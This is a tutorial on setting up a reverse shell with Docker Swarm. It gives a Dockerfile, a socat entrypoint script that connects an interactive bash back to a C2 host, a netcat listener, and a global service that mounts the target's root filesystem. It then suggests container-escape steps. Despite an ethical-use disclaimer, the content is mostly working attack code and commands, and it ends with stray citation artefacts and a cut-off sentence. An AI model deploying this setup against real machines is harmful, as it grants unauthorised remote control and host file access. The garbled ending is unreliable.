Reverse shells are indispensable tools for penetration testers, enabling remote access and control during authorized security assessments. This guide demonstrates how to set up a reverse shell using Docker Swarm, leveraging containerized environments for precision and scalability.
Disclaimer: This setup is strictly for ethical use in lab environments or with explicit permission. Unauthorized use is illegal.
- A Command-and-Control (C2) server with Docker installed (Ubuntu preferred).
- A target client machine ready to join the Docker Swarm.
- Basic familiarity with Docker commands and networking concepts.
- A GitHub account with access to GitHub Container Registry (GHCR).
Docker Swarm provides an efficient way to orchestrate containerized environments, serving as the backbone of our reverse shell setup.
-
Install Docker on the C2 Server:
If Docker isn’t already installed, follow the official Docker installation guide. -
Initialize Docker Swarm:
Run the following command on your C2 server:docker swarm init
Example output:
Swarm initialized: current node (mha0yryh5oaxkutyaqd5n58mi) is now a manager. To add a worker to this swarm, run the following command: docker swarm join --token SWMTKN-1-abc123def456ghijklmnopqrstuvwxyz 192.168.1.100:2377- Manager Node: Controls the Docker Swarm.
- Worker Node: Executes tasks as part of the Swarm.
-
Save the Join Token:
Copy thedocker swarm joincommand. You’ll use it to add client machines to the Swarm.
Containers provide lightweight, isolated environments, making them perfect for penetration testing.
-
Set Up a Workspace:
Create and navigate to a directory for your project:mkdir reverse-shell cd reverse-shell -
Write the Dockerfile:
TheDockerfiledefines the container’s environment. Create a file namedDockerfilewith the following content:FROM ubuntu:latest RUN apt-get update && apt-get install -y bash socat COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"]
-
Write the Entry Point Script:
Create a file namedentrypoint.shto handle the reverse shell connection:#!/bin/bash if [ -z "$REMOTE_IP" ] || [ -z "$REMOTE_PORT" ]; then echo "Error: REMOTE_IP and REMOTE_PORT environment variables must be set." exit 1 fi socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$REMOTE_IP:$REMOTE_PORT
-
Login to GitHub Container Registry:
Replaceghp_XXXXwith your GitHub Personal Access Token (PAT):export CR_PAT="ghp_XXXX" echo $CR_PAT | docker login ghcr.io -u <github-username> --password-stdin
-
Build and Push the Docker Image:
Usedocker buildxto create a multi-platform image and push it to GHCR:docker buildx build --platform linux/amd64,linux/arm64 -t ghcr.io/<github-username>/reverse-shell-ubuntu:latest --push .
-
Make the Image Public:
Visit your GitHub Packages overview, locate thereverse-shell-ubuntupackage, and set its visibility to Public.
-
Install Docker:
Follow the Docker installation guide to set up Docker on the target machine. -
Join the Docker Swarm:
Use thedocker swarm joincommand copied earlier:docker swarm join --token SWMTKN-1-abc123def456ghijklmnopqrstuvwxyz 192.168.1.100:2377
The client is now part of the Swarm and ready to execute tasks.
-
Start a Netcat Listener:
On your C2 server, listen for incoming connections:nc -lvnp 1337
-
Label the Target Node:
Identify the client node using:docker node ls
Assign a label to the node for targeted service deployment:
docker node update --label-add role=bot <node-id>
-
Deploy the Reverse Shell Service:
Run the following command to create the reverse shell:docker service create \ --name reverse-shell-ubuntu \ --mode global \ --env REMOTE_IP=192.168.1.100 \ --env REMOTE_PORT=1337 \ --mount type=bind,source=/,target=/host_root \ --constraint 'node.labels.role == bot' \ ghcr.io/<github-username>/reverse-shell-ubuntu:latest
Switch to your Netcat listener terminal. If everything is configured correctly, you should see an active reverse shell connection from the target client.
Once you have a reverse shell, consider the following post-exploitation techniques for further exploration or testing:
- Overview: Attempt to break out of the container to gain access to the host system.
- Techniques:
- Mounted Docker Socket: If the Docker socket is mounted inside the container, you can communicate with the Docker daemon to create new containers with elevated privileges. :contentReference[oaicite:0]{index=0}
- Privileged Containers: Containers run with the
--privilegedflag have extended capabilities, potentially allowing host access. :contentReference[oaicite:1]{index=1}
- Resources:
- Overview: Use
chrootto change the apparent root directory for the current running process, which can be used to mimic the container's environment. - Techniques:
- Binding the Host Filesystem: Mount the host filesystem within the container ::contentReference[oaicite:2]{index=2}